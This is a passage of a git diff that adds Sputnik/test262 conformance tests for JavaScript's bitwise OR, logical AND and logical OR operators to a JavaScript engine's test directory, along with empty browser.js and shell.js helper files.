+ $ERROR('#4: ("1" | new Boolean(true)) === 1. Actual: ' + (("1" | new Boolean(true))));
+}
+
+//CHECK#5
+if ((true | new String("1")) !== 1) {
+ $ERROR('#5: (true | new String("1")) === 1. Actual: ' + ((true | new String("1"))));
+}
+
+//CHECK#6
+if ((new String("1") | true) !== 1) {
+ $ERROR('#6: (new String("1") | true) === 1. Actual: ' + ((new String("1") | true)));
+}
+
+//CHECK#7
+if ((new Boolean(true) | new String("1")) !== 1) {
+ $ERROR('#7: (new Boolean(true) | new String("1")) === 1. Actual: ' + ((new Boolean(true) | new String("1"))));
+}
+
+//CHECK#8
+if ((new String("1") | new Boolean(true)) !== 1) {
+ $ERROR('#8: (new String("1") | new Boolean(true)) === 1. Actual: ' + ((new String("1") | new Boolean(true))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.6.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.6.js
new file mode 100644
index 000000000..c6aeffafd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y returns ToNumber(x) | ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A3_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (("1" | undefined) !== 1) {
+ $ERROR('#1: ("1" | undefined) === 1. Actual: ' + (("1" | undefined)));
+}
+
+//CHECK#2
+if ((undefined | "1") !== 1) {
+ $ERROR('#2: (undefined | "1") === 1. Actual: ' + ((undefined | "1")));
+}
+
+//CHECK#3
+if ((new String("1") | undefined) !== 1) {
+ $ERROR('#3: (new String("1") | undefined) === 1. Actual: ' + ((new String("1") | undefined)));
+}
+
+//CHECK#4
+if ((undefined | new String("1")) !== 1) {
+ $ERROR('#4: (undefined | new String("1")) === 1. Actual: ' + ((undefined | new String("1"))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.7.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.7.js
new file mode 100644
index 000000000..fc0e39bb9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y returns ToNumber(x) | ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A3_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+if (("1" | null) !== 1) {
+ $ERROR('#1: ("1" | null) === 1. Actual: ' + (("1" | null)));
+}
+
+//CHECK#2
+if ((null | "1") !== 1) {
+ $ERROR('#2: (null | "1") === 1. Actual: ' + ((null | "1")));
+}
+
+//CHECK#3
+if ((new String("1") | null) !== 1) {
+ $ERROR('#3: (new String("1") | null) === 1. Actual: ' + ((new String("1") | null)));
+}
+
+//CHECK#4
+if ((null | new String("1")) !== 1) {
+ $ERROR('#4: (null | new String("1")) === 1. Actual: ' + ((null | new String("1"))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.8.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.8.js
new file mode 100644
index 000000000..4208476dd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y returns ToNumber(x) | ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A3_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if ((true | undefined) !== 1) {
+ $ERROR('#1: (true | undefined) === 1. Actual: ' + ((true | undefined)));
+}
+
+//CHECK#2
+if ((undefined | true) !== 1) {
+ $ERROR('#2: (undefined | true) === 1. Actual: ' + ((undefined | true)));
+}
+
+//CHECK#3
+if ((new Boolean(true) | undefined) !== 1) {
+ $ERROR('#3: (new Boolean(true) | undefined) === 1. Actual: ' + ((new Boolean(true) | undefined)));
+}
+
+//CHECK#4
+if ((undefined | new Boolean(true)) !== 1) {
+ $ERROR('#4: (undefined | new Boolean(true)) === 1. Actual: ' + ((undefined | new Boolean(true))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.9.js b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.9.js
new file mode 100644
index 000000000..2c892773b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/S11.10.3_A3_T2.9.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x | y returns ToNumber(x) | ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.3/S11.10.3_A3_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+if ((true | null) !== 1) {
+ $ERROR('#1: (true | null) === 1. Actual: ' + ((true | null)));
+}
+
+//CHECK#2
+if ((null | true) !== 1) {
+ $ERROR('#2: (null | true) === 1. Actual: ' + ((null | true)));
+}
+
+//CHECK#3
+if ((new Boolean(true) | null) !== 1) {
+ $ERROR('#3: (new Boolean(true) | null) === 1. Actual: ' + ((new Boolean(true) | null)));
+}
+
+//CHECK#4
+if ((null | new Boolean(true)) !== 1) {
+ $ERROR('#4: (null | new Boolean(true)) === 1. Actual: ' + ((null | new Boolean(true))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/browser.js b/js/src/tests/test262/ch11/11.10/11.10.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/browser.js
diff --git a/js/src/tests/test262/ch11/11.10/11.10.3/shell.js b/js/src/tests/test262/ch11/11.10/11.10.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.3/shell.js
diff --git a/js/src/tests/test262/ch11/11.10/browser.js b/js/src/tests/test262/ch11/11.10/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/browser.js
diff --git a/js/src/tests/test262/ch11/11.10/shell.js b/js/src/tests/test262/ch11/11.10/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/shell.js
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A1.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A1.js
new file mode 100644
index 000000000..71ff7400e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A1.js
@@ -0,0 +1,61 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between LogicalANDExpression and "&&" or between "&&" and BitwiseORExpression are allowed
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if ((eval("true\u0009&&\u0009true")) !== true) {
+ $ERROR('#1: (true\\u0009&&\\u0009true) === true');
+}
+
+//CHECK#2
+if ((eval("true\u000B&&\u000Btrue")) !== true) {
+ $ERROR('#2: (true\\u000B&&\\u000Btrue) === true');
+}
+
+//CHECK#3
+if ((eval("true\u000C&&\u000Ctrue")) !== true) {
+ $ERROR('#3: (true\\u000C&&\\u000Ctrue) === true');
+}
+
+//CHECK#4
+if ((eval("true\u0020&&\u0020true")) !== true) {
+ $ERROR('#4: (true\\u0020&&\\u0020true) === true');
+}
+
+//CHECK#5
+if ((eval("true\u00A0&&\u00A0true")) !== true) {
+ $ERROR('#5: (true\\u00A0&&\\u00A0true) === true');
+}
+
+//CHECK#6
+if ((eval("true\u000A&&\u000Atrue")) !== true) {
+ $ERROR('#6: (true\\u000A&&\\u000Atrue) === true');
+}
+
+//CHECK#7
+if ((eval("true\u000D&&\u000Dtrue")) !== true) {
+ $ERROR('#7: (true\\u000D&&\\u000Dtrue) === true');
+}
+
+//CHECK#8
+if ((eval("true\u2028&&\u2028true")) !== true) {
+ $ERROR('#8: (true\\u2028&&\\u2028true) === true');
+}
+
+//CHECK#9
+if ((eval("true\u2029&&\u2029true")) !== true) {
+ $ERROR('#9: (true\\u2029&&\\u2029true) === true');
+}
+
+
+//CHECK#10
+if ((eval("true\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029&&\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029true")) !== true) {
+ $ERROR('#10: (true\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029&&\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029true) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.1_T1.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.1_T1.js
new file mode 100644
index 000000000..f637f4d73
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.1_T1.js
@@ -0,0 +1,64 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x && y uses GetValue
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if ((false && true) !== false) {
+ $ERROR('#1: (false && true) === false');
+}
+
+//CHECK#2
+if ((true && false) !== false) {
+ $ERROR('#2: (true && false) === false');
+}
+
+//CHECK#3
+var x = false;
+if ((x && true) !== false) {
+ $ERROR('#3: var x = false; (x && true) === false');
+}
+
+//CHECK#4
+var y = new Boolean(false);
+if ((true && y) !== y) {
+ $ERROR('#4: var y = new Boolean(false); (true && y) === y');
+}
+
+//CHECK#5
+var x = false;
+var y = true;
+if ((x && y) !== false) {
+ $ERROR('#5: var x = false; var y = true; (x && y) === false');
+}
+
+//CHECK#6
+var x = true;
+var y = new Boolean(false);
+if ((x && y) !== y) {
+ $ERROR('#6: var x = true; var y = new Boolean(false); (x && y) === y');
+}
+
+//CHECK#7
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = true;
+objecty.prop = 1.1;
+if ((objectx.prop && objecty.prop) !== objecty.prop) {
+ $ERROR('#7: var objectx = new Object(); var objecty = new Object(); objectx.prop = true; objecty.prop = 1; (objectx.prop && objecty.prop) === objecty.prop');
+}
+
+//CHECK#8
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 0;
+objecty.prop = true;
+if ((objectx.prop && objecty.prop) !== objectx.prop) {
+ $ERROR('#8: var objectx = new Object(); var objecty = new Object(); objectx.prop = 0; objecty.prop = true; (objectx.prop && objecty.prop) === objectx.prop');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.1_T2.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.1_T2.js
new file mode 100644
index 000000000..3c3585d1e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x && y uses GetValue
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x && true;
+ $ERROR('#1.1: x && true throw ReferenceError. Actual: ' + (x && true));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x && true throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.1_T3.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.1_T3.js
new file mode 100644
index 000000000..65eb292aa
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.1_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x && y uses GetValue
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A2.1_T3.js
+ * @description If ToBoolean(x) is true and GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ true && y;
+ $ERROR('#1.1: true && y throw ReferenceError. Actual: ' + (true && y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: true && y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.1_T4.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.1_T4.js
new file mode 100644
index 000000000..e58d74ed2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.1_T4.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x && y uses GetValue
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A2.1_T4.js
+ * @description If ToBoolean(x) is false and GetBase(y) is null, return false
+ */
+
+//CHECK#1
+if ((false && x) !== false) {
+ $ERROR('#1: (false && x) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.4_T1.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.4_T1.js
new file mode 100644
index 000000000..44fad0ce8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = false;
+if (((x = true) && x) !== true) {
+ $ERROR('#1: var x = false; ((x = true) && x) === true');
+}
+
+//CHECK#2
+var x = false;
+if ((x && (x = true)) !== false) {
+ $ERROR('#2: var x = false; (x && (x = true)) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.4_T2.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.4_T2.js
new file mode 100644
index 000000000..b5efeee14
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() && y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() && y() throw "x". Actual: ' + (x() && y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() && y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.4_T3.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.4_T3.js
new file mode 100644
index 000000000..cf973f0ff
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A2.4_T3.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ * @noStrict
+ */
+
+//CHECK#1
+try {
+ x && (x = true);
+ $ERROR('#1.1: x && (x = true) throw ReferenceError. Actual: ' + (x && (x = true)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x && (x = true) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if (((y = true) && y) !== true) {
+ $ERROR('#2: ((y = true) && y) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A3_T1.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A3_T1.js
new file mode 100644
index 000000000..8274f3c61
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A3_T1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is false, return x
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A3_T1.js
+ * @description Type(x) is primitive boolean and Type(y) is changed between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if ((false && true) !== false) {
+ $ERROR('#1: (false && true) === false');
+}
+
+//CHECK#2
+if ((false && false) !== false) {
+ $ERROR('#2: (false && false) === false');
+}
+
+//CHECK#3
+if ((false && new Boolean(true)) !== false) {
+ $ERROR('#3: (false && new Boolean(true)) === false');
+}
+
+//CHECK#4
+if ((false && new Boolean(false)) !== false) {
+ $ERROR('#4: (false && new Boolean(false)) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A3_T2.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A3_T2.js
new file mode 100644
index 000000000..01d206b5e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A3_T2.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is false, return x
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A3_T2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if ((-0 && -1) !== 0) {
+ $ERROR('#1.1: (-0 && -1) === 0');
+} else {
+ if ((1 / (-0 && -1)) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#1.2: (-0 && -1) === -0');
+ }
+}
+
+//CHECK#2
+if ((0 && new Number(-1)) !== 0) {
+ $ERROR('#2.1: (0 && new Number(-1)) === 0');
+} else {
+ if ((1 / (0 && new Number(-1))) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: (0 && new Number(-1)) === +0');
+ }
+}
+
+//CHECK#3
+if ((isNaN(NaN && 1)) !== true) {
+ $ERROR('#3: (NaN && 1) === Not-a-Number');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A3_T3.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A3_T3.js
new file mode 100644
index 000000000..034f9e2d8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A3_T3.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is false, return x
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A3_T3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+if (("" && "1") !== "") {
+ $ERROR('#1: ("" && "1") === ""');
+}
+
+//CHECK#2
+if (("" && new String("1")) !== "") {
+ $ERROR('#2: ("" && new String("1")) === ""');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A3_T4.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A3_T4.js
new file mode 100644
index 000000000..1a10a4ce4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A3_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is false, return x
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A3_T4.js
+ * @description Type(x) or Type(y) is changed between null and undefined
+ */
+
+//CHECK#1
+if ((undefined && true) !== undefined) {
+ $ERROR('#1: (undefined && true) === undefined');
+}
+
+//CHECK#2
+if ((null && false) !== null) {
+ $ERROR('#2: (null && false) === null');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A4_T1.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A4_T1.js
new file mode 100644
index 000000000..82f45be1f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A4_T1.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is true, return y
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A4_T1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if ((true && true) !== true) {
+ $ERROR('#1: (true && true) === true');
+}
+
+//CHECK#2
+if ((true && false) !== false) {
+ $ERROR('#2: (true && false) === false');
+}
+
+//CHECK#3
+var y = new Boolean(true);
+if ((new Boolean(true) && y) !== y) {
+ $ERROR('#3: (var y = new Boolean(true); (new Boolean(true) && y) === y');
+}
+
+//CHECK#4
+var y = new Boolean(false);
+if ((new Boolean(true) && y) !== y) {
+ $ERROR('#4: (var y = new Boolean(false); (new Boolean(true) && y) === y');
+}
+
+//CHECK#5
+var y = new Boolean(true);
+if ((new Boolean(false) && y) !== y) {
+ $ERROR('#5: (var y = new Boolean(true); (new Boolean(false) && y) === y');
+}
+
+//CHECK#6
+var y = new Boolean(false);
+if ((new Boolean(false) && y) !== y) {
+ $ERROR('#6: (var y = new Boolean(false); (new Boolean(false) && y) === y');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A4_T2.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A4_T2.js
new file mode 100644
index 000000000..5aaea6dce
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A4_T2.js
@@ -0,0 +1,51 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is true, return y
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A4_T2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if ((-1 && -0) !== 0) {
+ $ERROR('#1.1: (-1 && -0) === 0');
+} else {
+ if ((1 / (-1 && -0)) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#1.2: (-1 && -0) === -0');
+ }
+}
+
+//CHECK#2
+if ((-1 && 0) !== 0) {
+ $ERROR('#2.1: (-1 && 0) === 0');
+} else {
+ if ((1 / (-1 && 0)) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: (-1 && 0) === +0');
+ }
+}
+
+//CHECK#3
+if ((isNaN(0.1 && NaN)) !== true) {
+ $ERROR('#3: (0.1 && NaN) === Not-a-Number');
+}
+
+//CHECK#4
+var y = new Number(0);
+if ((new Number(-1) && y) !== y) {
+ $ERROR('#4: (var y = new Number(0); (new Number(-1) && y) === y');
+}
+
+//CHECK#5
+var y = new Number(NaN);
+if ((new Number(0) && y) !== y) {
+ $ERROR('#5: (var y = new Number(NaN); (new Number(0) && y) === y');
+}
+
+//CHECK#6
+var y = new Number(-1);
+if ((new Number(NaN) && y) !== y) {
+ $ERROR('#6: (var y = new Number(-1); (new Number(NaN) && y) === y');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A4_T3.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A4_T3.js
new file mode 100644
index 000000000..1ae1808d1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A4_T3.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is true, return y
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A4_T3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+if (("0" && "-1") !== "-1") {
+ $ERROR('#-1: ("0" && "-1") === "-1"');
+}
+
+//CHECK#2
+if (("-1" && "x") !== "x") {
+ $ERROR('#2: ("-1" && "x") === "x"');
+}
+
+//CHECK#3
+var y = new String(-1);
+if ((new String("-1") && y) !== y) {
+ $ERROR('#3: (var y = new String(-1); (new String("-1") && y) === y');
+}
+
+//CHECK#4
+var y = new String(NaN);
+if ((new String("0") && y) !== y) {
+ $ERROR('#4: (var y = new String(NaN); (new String("0") && y) === y');
+}
+
+//CHECK#5
+var y = new String("-x");
+if ((new String("x") && y) !== y) {
+ $ERROR('#5: (var y = new String("-x"); (new String("x") && y) === y');
+}
+
+//CHECK#6
+var y = new String(-1);
+if ((new String(NaN) && y) !== y) {
+ $ERROR('#6: (var y = new String(-1); (new String(NaN) && y) === y');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A4_T4.js b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A4_T4.js
new file mode 100644
index 000000000..109744386
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/S11.11.1_A4_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is true, return y
+ *
+ * @path ch11/11.11/11.11.1/S11.11.1_A4_T4.js
+ * @description Type(x) or Type(y) is changed between null and undefined
+ */
+
+//CHECK#1
+if ((true && undefined) !== undefined) {
+ $ERROR('#1: (true && undefined) === undefined');
+}
+
+//CHECK#2
+if ((true && null) !== null) {
+ $ERROR('#2: (true && null) === null');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/browser.js b/js/src/tests/test262/ch11/11.11/11.11.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/browser.js
diff --git a/js/src/tests/test262/ch11/11.11/11.11.1/shell.js b/js/src/tests/test262/ch11/11.11/11.11.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.1/shell.js
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A1.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A1.js
new file mode 100644
index 000000000..904d903e8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A1.js
@@ -0,0 +1,61 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between LogicalORExpression and "||" or between "||" and LogicalANDExpression are allowed
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if ((eval("false\u0009||\u0009true")) !== true) {
+ $ERROR('#1: (false\\u0009||\\u0009true) === true');
+}
+
+//CHECK#2
+if ((eval("false\u000B||\u000Btrue")) !== true) {
+ $ERROR('#2: (false\\u000B||\\u000Btrue) === true');
+}
+
+//CHECK#3
+if ((eval("false\u000C||\u000Ctrue")) !== true) {
+ $ERROR('#3: (false\\u000C||\\u000Ctrue) === true');
+}
+
+//CHECK#4
+if ((eval("false\u0020||\u0020true")) !== true) {
+ $ERROR('#4: (false\\u0020||\\u0020true) === true');
+}
+
+//CHECK#5
+if ((eval("false\u00A0||\u00A0true")) !== true) {
+ $ERROR('#5: (false\\u00A0||\\u00A0true) === true');
+}
+
+//CHECK#6
+if ((eval("false\u000A||\u000Atrue")) !== true) {
+ $ERROR('#6: (false\\u000A||\\u000Atrue) === true');
+}
+
+//CHECK#7
+if ((eval("false\u000D||\u000Dtrue")) !== true) {
+ $ERROR('#7: (false\\u000D||\\u000Dtrue) === true');
+}
+
+//CHECK#8
+if ((eval("false\u2028||\u2028true")) !== true) {
+ $ERROR('#8: (false\\u2028||\\u2028true) === true');
+}
+
+//CHECK#9
+if ((eval("false\u2029||\u2029true")) !== true) {
+ $ERROR('#9: (false\\u2029||\\u2029true) === true');
+}
+
+
+//CHECK#10
+if ((eval("false\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029||\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029true")) !== true) {
